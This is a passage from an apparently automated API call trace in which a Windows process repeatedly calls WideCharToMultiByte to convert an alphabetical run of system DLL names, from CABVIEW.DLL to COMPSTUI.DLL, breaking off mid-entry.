lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x18c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVPS.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVPS.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.267] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRVUT.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRVUT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CCA.DLL", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CCA.DLL", lpUsedDefaultChar=0x0) returned 7 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CDOSYS.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CDOSYS.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCLI.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTCREDPROVIDER.DLL", cchWideChar=20, lpMultiByteStr=0x18c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTCREDPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 20 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENC.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENC.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLL.DLL", cchWideChar=14, lpMultiByteStr=0x18c288, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLL.DLL", lpUsedDefaultChar=0x0) returned 14 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTENROLLUI.DLL", cchWideChar=16, lpMultiByteStr=0x18c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTENROLLUI.DLL", lpUsedDefaultChar=0x0) returned 16 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTMGR.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTMGR.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CERTPOLENG.DLL", cchWideChar=14, lpMultiByteStr=0x18c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CERTPOLENG.DLL", lpUsedDefaultChar=0x0) returned 14 [0227.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CEWMDM.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CEWMDM.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGBKEND.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGBKEND.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CFGMGR32.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CFGMGR32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHSBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHSBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHTBRKR.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHTBRKR.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 23 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CHXREADINGSTRINGIME.DLL", cchWideChar=23, lpMultiByteStr=0x18c120, cbMultiByte=23, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CHXREADINGSTRINGIME.DLL", lpUsedDefaultChar=0x0) returned 23 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CIC.DLL", cchWideChar=7, lpMultiByteStr=0x18c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CIC.DLL", lpUsedDefaultChar=0x0) returned 7 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLB.DLL", cchWideChar=7, lpMultiByteStr=0x18c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLB.DLL", lpUsedDefaultChar=0x0) returned 7 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLBCATQ.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLBCATQ.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.269] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLFSW32.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLFSW32.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLICONFG.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLICONFG.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CLUSAPI.DLL", cchWideChar=11, lpMultiByteStr=0x18c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CLUSAPI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMCFG32.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMCFG32.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMDIAL32.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMDIAL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMICRYPTINSTALL.DLL", cchWideChar=19, lpMultiByteStr=0x18c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMICRYPTINSTALL.DLL", lpUsedDefaultChar=0x0) returned 19 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIFW.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIFW.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMIPNPINSTALL.DLL", cchWideChar=17, lpMultiByteStr=0x18c288, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMIPNPINSTALL.DLL", lpUsedDefaultChar=0x0) returned 17 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMLUA.DLL", cchWideChar=9, lpMultiByteStr=0x18c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMLUA.DLL", lpUsedDefaultChar=0x0) returned 9 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.270] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x18c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x18c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x18c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.271] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x18c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x18c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x18c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0227.272] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, 